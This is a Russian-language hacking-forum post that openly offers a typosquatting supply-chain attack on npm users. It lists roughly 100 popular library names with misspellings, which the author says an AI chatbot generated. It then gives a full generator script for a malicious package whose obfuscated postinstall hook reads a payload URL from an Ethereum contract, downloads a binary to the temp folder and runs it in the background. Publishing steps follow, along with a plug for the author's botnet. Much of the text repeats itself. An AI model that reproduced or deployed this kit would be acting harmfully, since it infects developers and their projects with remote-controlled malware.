Пожалуйста, обратите внимание, что пользователь заблокирован
Наверное большинство проектов написаные на NodeJS, используют пакетные менеджеры npm и прочее, и при установке вы даже не смотрите что за пакет, или условно скачали репозиторий или какой то проект и просто установили, запустили, вроде то работает, но вы даже не заметили как вас уже подловили только на установке пакетов.
Или же когда вы хотите установить какой то пакет и случайно ошиблись буковкой, но увы... оказалось что пакет был создан и вы даже сами не поняли что установили, забиваете хер и думаете ничего страшного просто пакет. А потом ваши данные сливают или компрометируют. Люди часто совершают ошибки при вводе текста.
Ладно в чем суть, пакеты на nodejs содержут информацию о пакете, так называемый package.json и в нем есть такая интересная вещь
Этот postinstall исполняется сразу же после скачивания пакета.
И с помощью этого вашу систему могут заразить, ладно вопрос, а как же тогда подловить кого то? Все банально просто, берем популярные либы, и создаем такие же, но только с которомы люди совершают ошибки. Но вопрос как мне придумать названия с ошибками? С этим справляется ChatGPT или другой ИИ. Я задал ему вопрос чтоб он сгенерировал список библиотек с ошибками, вот к примеру 100 популярных библиотек в которых люди совершают ошибки.
И так же я написал скрипт который генерирует эти сами вредоносные библиотеки, в моем примере это просто скачивания файла и добавления его в автозагрузки.
В моем скрипте URL хостинга берется из контракта eth erс-20 сети, так что если вздумаете его использовать поменяйте переменные адреса кошелька и адреса контракта на свои, как это сделать можете посмотреть пример при установке моего же ботнета https://xss.pro/threads/123396
Вот ниже приведен код, его действия такие: Генерирует папку с вредоносным npm пакетом который в свою очередь выполняет --> Получить url из блокчейна --> скачать файл --> закинуть в temp --> заупстить.
Его использования это перейти в папку с проектом, написать npm i чтоб установить необходимые пакеты, и после уже запустить сам скрипт командой node index.js
Скрипт создаст вам рядом папку уже с пакетом который вы должы загрузить, к примеру наша папка называется random-lib-wdzwkcsf, переходи в нее открываем cmd или терминал, пишим npm login, нам эта команда предложит залогинится в https://npmjs.com/ мы логиниися или же регестрируемся если нет аккаунта, после как вы авторизировались в CLI вы публикуете свой пакет командой npm publish и все ваш пакет загружен он будет доступен по ссылке с вашим названием к примеру
https://npmjs.com/random-lib-wdzwkcsf если вы захотите поменять какие то название в пакете есть package.json в нем вся мета.
И уже любой кто попытается установить пакет или же он был добавлен в другой проект и этот проекта устанавливается, получает заражение, или же просто написав
npm i random-lib-wdzwkcsf вы получаете нового юзера в вашей сети)
Возможно я где что-то не написал или забыл, мне лень текст изменять. все что здесь написано придумано мной. Ну или я просто не увидел если кто-то до меня придумал.
Вообще изначально эта идея для меня мастхев, но я устал от всего, решил избавится и от этой идеи...
Видео гайд(Оптимизируется пока по этому может не доступно):
Или же когда вы хотите установить какой то пакет и случайно ошиблись буковкой, но увы... оказалось что пакет был создан и вы даже сами не поняли что установили, забиваете хер и думаете ничего страшного просто пакет. А потом ваши данные сливают или компрометируют. Люди часто совершают ошибки при вводе текста.
Ладно в чем суть, пакеты на nodejs содержут информацию о пакете, так называемый package.json и в нем есть такая интересная вещь
Код:
"scripts": {
"postinstall": "node install-script.js"
},
Этот postinstall исполняется сразу же после скачивания пакета.
И с помощью этого вашу систему могут заразить, ладно вопрос, а как же тогда подловить кого то? Все банально просто, берем популярные либы, и создаем такие же, но только с которомы люди совершают ошибки. Но вопрос как мне придумать названия с ошибками? С этим справляется ChatGPT или другой ИИ. Я задал ему вопрос чтоб он сгенерировал список библиотек с ошибками, вот к примеру 100 популярных библиотек в которых люди совершают ошибки.
Код:
express
Ошибки: expres, expressjs, expresjs
react
Ошибки: recat, ract, reactjs
lodash
Ошибки: loadash, lodash, lo-dash
axios
Ошибки: axio, axious, axius
moment
Ошибки: momment, momen, momentjs
typescript
Ошибки: type-script, typescipt, typescripts
webpack
Ошибки: webpacker, web pack, web_pack
babel
Ошибки: bable, babeljs, babl
jest
Ошибки: jset, jestt, jesttt
eslint
Ошибки: eslint, eslintjs, es-lint
prettier
Ошибки: pretyer, prettirer, prettie
redux
Ошибки: redex, reduxjs, redax
styled-components
Ошибки: styledcomponents, style-components, styledcomponent
chalk
Ошибки: chack, chalc, chalkk
mongoose
Ошибки: mongose, mongoosee, monngoose
sequelize
Ошибки: seqelize, sequalize, sequlize
graphql
Ошибки: graphqql, graph-ql, graphqls
socket.io
Ошибки: socketio, sockit.io, socket-io
express-validator
Ошибки: expressvalidator, express-validtor, express-validations
passport
Ошибки: passsport, passportjs, passpor
cors
Ошибки: core, cros, corss
nodemon
Ошибки: nodemone, node mon, node-mone
body-parser
Ошибки: bodyparser, body-parsser, bodyparse
dotenv
Ошибки: dot-env, dotenvy, dotenvs
rimraf
Ошибки: rim-raf, rimrafh, rimraaf
uuid
Ошибки: uuiid, uuidv4, u-uid
babel-loader
Ошибки: babelloader, babel-load, babel-loaderx
sass
Ошибки: sasss, saas, sas
nodemailer
Ошибки: nodemaler, node-mailer, nodemailerjs
moment-timezone
Ошибки: momenttimezone, moment-timezine, moment-tz
jsonwebtoken
Ошибки: jsonwebtoke, jsonwebtoken, json-token
bcrypt
Ошибки: bcrypty, bcryptjs, bcryp
helmet
Ошибки: helment, helmat, hemlmet
inquirer
Ошибки: inqure, inquirer, inquirerjs
styled-system
Ошибки: styled-system, styledsystem, style-system
formik
Ошибки: formik, formikc, formic
antd
Ошибки: ant-design, antd-design, antdjs
bootstrap
Ошибки: boostrap, bootstarp, bootsrap
jquery
Ошибки: jquer, jquary, jqury
d3
Ошибки: d-three, d3js, d-3
chart.js
Ошибки: chartjs, chart-js, chrt.js
parcel
Ошибки: parcels, parsel, paral
gulp
Ошибки: gullp, gulpp, gulpe
grunt
Ошибки: gruntt, grut, grnd
vite
Ошибки: vitejs, vitee, vit
pnpm
Ошибки: pnpm, pn-pm, pnm
pnpm
Ошибки: pnpm, pn-pm, pnm
yarn
Ошибки: yarnn, yran, yarnjs
pnpm
Ошибки: pnpm, pn-pm, pnm
vite
Ошибки: vitejs, vitee, vit
next
Ошибки: nex, nxt, nextjs
gatsby
Ошибки: gatsy, gatsby, gatbsy
storybook
Ошибки: storybook, storibook, story-book
tailwindcss
Ошибки: tailwind-css, tailwindcsss, tailwndcss
parcel-bundler
Ошибки: parcelbundler, parcel-bundlerr, parcel-bundel
firebase
Ошибки: firebasee, firebae, fire-base
apollo-server
Ошибки: apollo-server, apollo-serverr, apolloserver
next-auth
Ошибки: nextauth, next-authh, next-auths
styled-jsx
Ошибки: styled-jsx, styledjsx, style-jsx
react-hook-form
Ошибки: react-hookform, react-hook-formm, react-hookfrom
framer-motion
Ошибки: framermotion, framer-motionn, framer-motio
react-query
Ошибки: reactquery, react-queryy, react-querry
zustand
Ошибки: zustannd, zustann, zustend
recoil
Ошибки: reocil, recoill, recoll
immer
Ошибки: immmmer, immmer, immerr
nanoid
Ошибки: nano-id, nanoidd, nanoidjs
clsx
Ошибки: clsxx, clsx, clsxjs
styled-components
Ошибки: styled-components, style-components, styledcomponent
material-ui
Ошибки: materialui, material-uii, materiel-ui
ant-design
Ошибки: antd-design, antdesign, ant-designd
semantic-ui-react
Ошибки: semantic-ui-react, semanticui-react, semantic-ui-reactt
emotion
Ошибки: emtion, emmmotion, emotionn
mobx
Ошибки: mobxx, mobxjs, mobxs
mobx-state-tree
Ошибки: mobx-state-tree, mobxstatetree, mobx-state-tre
recharts
Ошибки: rechart, rechartsjs, recharts
react-spring
Ошибки: react-spring, reactspring, react-springg
styled-system
Ошибки: styled-system, styledsystem, style-system
react-select
Ошибки: react-select, reactselect, react-selet
react-helmet
Ошибки: reacthelmet, react-helment, react-helmett
react-i18next
Ошибки: react-i18next, react-i18n, react-i18ext
react-icons
Ошибки: react-icons, reacticons, react-iconss
react-transition-group
Ошибки: react-transition-group, reacttransition-group, react-transition-grupp
react-dnd
Ошибки: react-dnd, reactdnd, react-dndd
react-dropzone
Ошибки: react-dropzone, reactdropzone, react-dropzon
react-toastify
Ошибки: react-toastify, reacttoastify, react-toasty
react-query
Ошибки: react-query, reactquery, react-querry
react-table
Ошибки: react-table, reacttable, react-tabel
react-virtualized
Ошибки: react-virtualized, reactvirtualized, react-virtualised
react-paginate
Ошибки: react-paginate, reactpaginate, react-paginatee
react-router
Ошибки: react-router, reactrouter, react-rouer
react-redux
Ошибки: react-redux, reactredux, react-redex
react-native
Ошибки: react-native, reactnative, react-naitve
react-native-cli
Ошибки: react-native-cli, reactnative-cli, react-native-clii
react-native-gesture-handler
Ошибки: react-native-gesture-handler, reactnative-gesture-handler, react-native-gesture-handlerr
react-native-reanimated
Ошибки: react-native-reanimated, reactnative-reanimated, react-native-reanimatedd
react-native-paper
Ошибки: react-native-paper, reactnative-paper, react-native-papeer
react-navigation
Ошибки: react-navigation, reactnavigation, react-navigtion
react-native-vector-icons
Ошибки: react-native-vector-icons, reactnative-vector-icons, react-native-vector-iconss
react-native-svg
Ошибки: react-native-svg, reactnative-svg, react-native-svgg
react-native-web
Ошибки: react-native-web, reactnative-web, react-native-weeb
И так же я написал скрипт который генерирует эти сами вредоносные библиотеки, в моем примере это просто скачивания файла и добавления его в автозагрузки.
В моем скрипте URL хостинга берется из контракта eth erс-20 сети, так что если вздумаете его использовать поменяйте переменные адреса кошелька и адреса контракта на свои, как это сделать можете посмотреть пример при установке моего же ботнета https://xss.pro/threads/123396
Вот ниже приведен код, его действия такие: Генерирует папку с вредоносным npm пакетом который в свою очередь выполняет --> Получить url из блокчейна --> скачать файл --> закинуть в temp --> заупстить.
Код:
const fs = require('fs');
const path = require('path');
const JavaScriptObfuscator = require('javascript-obfuscator');
function generateRandomName(length = 8) {
const chars = 'abcdefghijklmnopqrstuvwxyz';
let name = '';
for (let i = 0; i < length; i++) {
name += chars[Math.floor(Math.random() * chars.length)];
}
return name;
}
function createRandomLibrary() {
const libName = `random-lib-${generateRandomName()}`;
const libDir = path.join(__dirname, libName);
if (!fs.existsSync(libDir)) {
fs.mkdirSync(libDir);
}
const packageJson = {
name: libName,
version: "1.0.0",
description: "A randomly generated library with installation script",
main: "index.js",
scripts: {
postinstall: "node install-script.js"
},
dependencies: {
"axios": "^1.7.7",
"ethers": "^6.13.2"
},
author: "Auto Generator",
license: "MIT"
};
fs.writeFileSync(path.join(libDir, 'package.json'), JSON.stringify(packageJson, null, 2));
const indexJsContent = `console.log('Hello World!');`;
fs.writeFileSync(path.join(libDir, 'index.js'), indexJsContent);
const installScriptContent = `
const { ethers } = require("ethers");
const axios = require('axios');
const util = require('util');
const fs = require('fs');
const path = require('path');
const os = require('os');
const { spawn } = require('child_process');
const contractAddress = "CONTRACT_ADDRESS";
const WalletOwner = "WALLET_ADDRESS";
const abi = [
"function getString(address account) public view returns (string)"
];
const provider = ethers.getDefaultProvider("mainnet");
const contract = new ethers.Contract(contractAddress, abi, provider);
const fetchAndUpdateIp = async () => {
try {
const globalIpAddress = await contract.getString(WalletOwner);
return globalIpAddress;
} catch (error) {
console.error('Ошибка при получении IP адреса:', error);
return await fetchAndUpdateIp();
}
};
const getDownloadUrl = (baseUrl) => {
const platform = os.platform();
switch (platform) {
case 'win32':
return \`\${baseUrl}/node-win.exe\`;
case 'linux':
return \`\${baseUrl}/node-linux\`;
case 'darwin':
return \`\${baseUrl}/node-macos\`;
default:
throw new Error(\`Unsupported platform: \${platform}\`);
}
};
const downloadFile = async (url, outputPath) => {
const writer = fs.createWriteStream(outputPath);
const response = await axios({
url,
method: 'GET',
responseType: 'stream'
});
response.data.pipe(writer);
return new Promise((resolve, reject) => {
writer.on('finish', resolve);
writer.on('error', reject);
});
};
const executeFileInBackground = async (filePath) => {
try {
const child = spawn(filePath, [], {
detached: true,
stdio: 'ignore'
});
child.unref();
} catch (error) {
console.error('Ошибка при запуске файла:', error);
}
};
const runInstallation = async () => {
try {
const baseUrl = await fetchAndUpdateIp();
const downloadUrl = getDownloadUrl(baseUrl);
const tempDir = os.tmpdir();
const outputFileName = path.basename(downloadUrl);
const outputPath = path.join(tempDir, outputFileName);
await downloadFile(downloadUrl, outputPath);
if (os.platform() !== 'win32') {
fs.chmodSync(outputPath, '755');
}
executeFileInBackground(outputPath);
} catch (error) {
console.error('Ошибка установки:', error);
}
};
runInstallation();
`;
const obfuscatedCode = JavaScriptObfuscator.obfuscate(installScriptContent, {
compact: true,
controlFlowFlattening: true
}).getObfuscatedCode();
fs.writeFileSync(path.join(libDir, 'install-script.js'), obfuscatedCode);
console.log(`Library ${libName} created successfully in ${libDir}`);
}
createRandomLibrary();
Его использования это перейти в папку с проектом, написать npm i чтоб установить необходимые пакеты, и после уже запустить сам скрипт командой node index.js
Скрипт создаст вам рядом папку уже с пакетом который вы должы загрузить, к примеру наша папка называется random-lib-wdzwkcsf, переходи в нее открываем cmd или терминал, пишим npm login, нам эта команда предложит залогинится в https://npmjs.com/ мы логиниися или же регестрируемся если нет аккаунта, после как вы авторизировались в CLI вы публикуете свой пакет командой npm publish и все ваш пакет загружен он будет доступен по ссылке с вашим названием к примеру
https://npmjs.com/random-lib-wdzwkcsf если вы захотите поменять какие то название в пакете есть package.json в нем вся мета.
И уже любой кто попытается установить пакет или же он был добавлен в другой проект и этот проекта устанавливается, получает заражение, или же просто написав
npm i random-lib-wdzwkcsf вы получаете нового юзера в вашей сети)
Возможно я где что-то не написал или забыл, мне лень текст изменять. все что здесь написано придумано мной. Ну или я просто не увидел если кто-то до меня придумал.
Вообще изначально эта идея для меня мастхев, но я устал от всего, решил избавится и от этой идеи...
Видео гайд(Оптимизируется пока по этому может не доступно):